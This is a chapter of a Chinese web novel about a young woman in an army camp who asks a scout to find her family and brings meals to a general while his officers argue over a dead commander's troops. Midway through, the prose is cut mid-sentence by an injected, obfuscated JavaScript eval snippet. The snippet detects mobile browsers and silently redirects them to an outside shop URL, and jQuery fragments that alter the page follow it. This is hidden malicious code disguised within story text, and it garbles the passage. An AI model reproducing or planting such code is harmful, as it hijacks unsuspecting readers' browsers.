李寂是个眼睛圆圆的年轻人,比膀大腰圆的汉子们瘦了一圈,还没蓄胡子。
姜妙言郑重将手里的纸张递给他:“将军差我来找你办件事,纸上这三人是我的家人,拜托你了。”
秋风吹动她手中折成三叠的纸,手上细小的裂口微微发痒。
李寂听到她的声音后,先是愣了一下,眼神快速扫过她的脸,然后立马收回视线,他接过纸张,两手展开,认真查看。
“我需要您再说些细节,脸、身高几尺、甚至发丝大约多长。”
他将纸张叠好,收到怀里,认真的看着姜妙言。
姜妙言仔细回想,“我爹,他大约比我高两个脑袋,我娘与我差不多高,我妹妹,嗯……”
姜妙言把手放到自己人中位置,“大约这个高度。”
李寂从怀中掏出一个封线的小本子,又拿出一支包好的炭笔,姜妙言边说,他边快速记下来。
那双圆圆的眼睛透着可靠,姜妙言说完,他又涂涂改改几笔,将这几条信息又看了一遍,才收好本子:“你放心,我会吩咐下去,找到画师后,我叫画师去找你。”
姜妙言感激的笑,把手中一直捏着的柿子塞到李寂手里,“谢谢你,李寂,我身上没什么好东西,这个给你。”
她转向一旁站着的守门小哥,“还有这位小哥,也谢谢你,多谢你带路。”
守门小哥腼腆笑笑:“不打紧,跟着您出来还能活动活动腿脚。”
这边氛围融洽,相处愉快。
李景珩那边却是争吵不断。
“照我说,就得这么来!不狠点他们怎么听话?都是群臭丘八,脾气跟粪坑里的石头没两样,不压着他们,保准得爬到咱头上!”
这人一瞪眼,说话粗声粗气,说完这一番话,更是脸红脖子粗。
“哎~老陆,这就不对了,我们本就是初来乍到,还没看见原班人马,你怎么就这么心急了?”
“赵判官,你就别和稀泥了!钱同见了咱郎君就一副死人脸,谁不知道,他不服气咱郎君,都这样了,他手下能有个好鸟?”
老陆越说越激动,若不是李景珩还坐在上方,他就要一蹦三尺高了。
老陆下方坐着几个人,闻言跟着点头。
“是啊。”
“这倒也是…”
赵无尽,也就是赵判官,他不紧不慢的说:“难不成要让全军都觉得,咱们将军心眼小的像根针,连钱同的旧部都容不下?”
他长叹一声,“这可不是少主所为。”
老陆气势弱下来,嘴里念叨:“君要臣死,那臣就该去死,咱郎君又不是——”
地底下的臭虫。
他不服气的说:“凭什么回回都不敬郎君。”
李景珩倒是端坐其上,云淡风轻,对底下人的争吵浑不在意。
他用毛笔在纸上圈来圈去,“都是死了的人了,还和他置气。”
“他手底下剩的人心思如何,半日就能见分晓,别着急。”
见老陆还是一副心焦的样子,他搓搓眉头:“我总要把你们放到合适的位置,不听话的,到让我下手快速些,若是听话,还得比较一番。”
“难道你们比他们差?”
李景珩麾下诸将跟着他也有五六年了,他父亲给的好手,加上他自己挑的好苗子,倒不至于认为比不过钱同留下的人。
只是贸然大换血,易引起军中震荡,他得见过那些人才能决定谁留下。
‘这该死的钱同,活着给我添堵,死了也留烂摊子。’
李景珩捏着笔,颇觉得钱同天生就是来给他制造麻烦的。
帐内一时安静下来,众人只等着钱同的旧部上门。
还没过多久,帐门被掀开,带进来一片沙土,守门小哥两手交叉,行了个军礼:“将军,前指挥使钱同麾下诸人前来拜见。”
他话音刚落,帐内所有人目光纷纷向他投来。
坐在位置上的几个人已经蠢蠢欲动。
赵无尽“啪嚓”一下,单手展开纸扇,引得所有人都向他看去。
老陆皱眉:“我说赵判官,你这时候扇什么扇子啊?”
赵无尽折扇掩面,呵呵笑了。
见他这副欠扁的样,几个武将手心都痒痒的。
李景恒扫他一眼,便知道赵无尽没憋好屁。
赵无尽藏在折扇下的笑容浮现。
文臣与武将走的是两个路子,此时李景珩身边就赵无尽一个文臣,而武将却多的快要溢出来,他就是看这些老伙计被钱同旧部威胁的惴惴不安,感到有趣罢了。
这地位啊,可是瞬息万变。
老陆这样死心眼的人不在意,可不代表别人也不在意。
*
姜妙言拎着食盒,稳稳当当地走在泥土路上,车辙压过土地的痕迹凹凸不平,她小心维持着平衡。
“这么崎岖的路,怎么走马呢?”
守门小哥像是走在平地一般,抽空回了句:“马有四只蹄子,走的自然比我们稳些。”
姜妙言愣住:“是哦。”
她以前没走过这样的路,见到的马也是视频里的赛马,每只都在平坦的赛场上奔驰,自然想不到这层上。
守门小哥看她走的跌跌撞撞,终于看不下去,不忍的说:“还是将食盒给我吧,万一摔了,咱们俩都要受罚。”
这话说的真诚极了,姜妙言噎住,讪讪的把食盒递给他。
“怎么能不信任我呢?但话又说回来,还是多谢你了。”
走过那一段崎岖的路,路况很快就变好了,但守门小哥还是一直紧握着食盒不放手,两人就这么一前一后,隔着两个身位的距离,平移到帐门前。
守门小哥小心地把食盒交到姜妙言手中:“姜娘子,你可得拿稳了,千万、千万。”
姜妙言一手托着盒子底部,一手拎着把手,将食盒整个抱在怀里,冲他笑:“放心吧,就剩几步了。”
守门小哥刚要替姜妙言掀帘子,却被旁边的人拦住:“赵判官在里面。”
姜妙言听到陌生的人,心中疑惑。
判官?这是什么官职名?
真是奇也怪哉。
守门小哥又问:“我走的那阵开会了?”
“嗯。”
守门小哥恍然大悟,他又从姜妙言手里接过食盒:“那姜娘子得等等了,咱们能听不能听的,这可说不好。”
姜妙言手里轻松,便也不在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241158|197739||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意,安心在外面等着。
虽然是秋日,但天气不算特别寒冷,凉爽的风吹来,虽然远处没有神旷心怡的风景,但寥寥荒壁也算别有趣味。
只要不看到人骨头,她就觉得这地方是宝地了。
其实,前几年年景很好,不知道从哪一年开始,上头突然要开始加征税收。
落在百姓身上,便是痛心挖骨的疼。
身后帐门掀开,姜妙言回头看去,最先看到的是中年男子带着笑纹的双眼。
赵无尽从帐篷里钻出来,打眼就瞧见了一身军装,俏生生站在那里的姜妙言。
哎呀呀,这可不得了。
他双眼放光,看着姜妙言。
不过几日未见,将军身旁怎么多了个女子?
可惜可惜,早知道就随将军一同上路了。
赵无尽握着手里的折扇,侧身给姜妙言让开了个位置:“在下赵无尽,将军在屋里等着呢,娘子快去给将军送饭吧。”
姜妙言从守门小哥手里接过食盒,对赵无尽轻轻点头,脚步轻快的进了帐篷。
赵无尽看着帐篷门落下,随手扯过守门小哥的胳膊,把他拉到前面的空地:“李三,这是谁啊?”
李三被他捏住胳膊,挣脱也挣脱不得。
赵判官手劲还是这么大,根本不像个写书弄墨的文人。
他谨慎的说:“姜娘子可是将军带的人,赵判官,您还是别问我了。”
赵无尽啧了一声:“你呀你,我看,你也不知道吧?”
说完,他还上下扫了一眼李三,一副嫌弃的模样。
李三生气,瓮声瓮气的回答:“我从哪儿知道去?赵判官,您不是能掐会算吗?您自己算不就好了。”
赵无尽看实在无法从李三口中知道什么,便在原地叹息一声。
激将法不管用啊。
原来李三也是个不知情的。
还得向其他人打听打听了。
姜妙言拎着食盒,轻轻放在空桌上,回头看向李景珩:“将军,该吃饭了。”
澄澈的水面倒映着李景珩的脸,银盆底部的花纹清晰可见,盆内更是雕着有意趣的动物。
水面荡漾,李景珩拿着锦布擦干双手。
“今日的菜色都有什么?”
姜妙言拿开食盒上的盖子,将一层层的食盒摆在桌上。
“鸭子,鸡肉……”
李景珩听她的描述,忍不住笑了起来:“鸡肉,鸭子?难道没有人告诉你,这些菜色的名字吗?”
姜妙言奇怪的问:“都是些食材做的菜,要什么名字?”
李景珩失笑:“好吧,那妙言与我说说,这都是由什么做的吧?”
姜妙言看着眼皮底下的菜,一一辨认:“这个,白菜炒肉,这个,蘑菇炒肉,这个,肉炒肉,这个嘛,嗯……还是肉炒肉。”
她越说越觉得自己像个傻叉,于是干脆闭嘴,干巴巴的说:“剩下的我认不出来了。”
李景珩哈哈大笑:“妙言,你真是有趣,不过你说的对,这些可不就是肉炒肉,肉炖肉。”
小六在姜妙言肩上噗嗤噗嗤的笑,被恼羞成怒的姜妙言两指弹飞,小六扇着翅膀,又落在姜妙言脑袋上。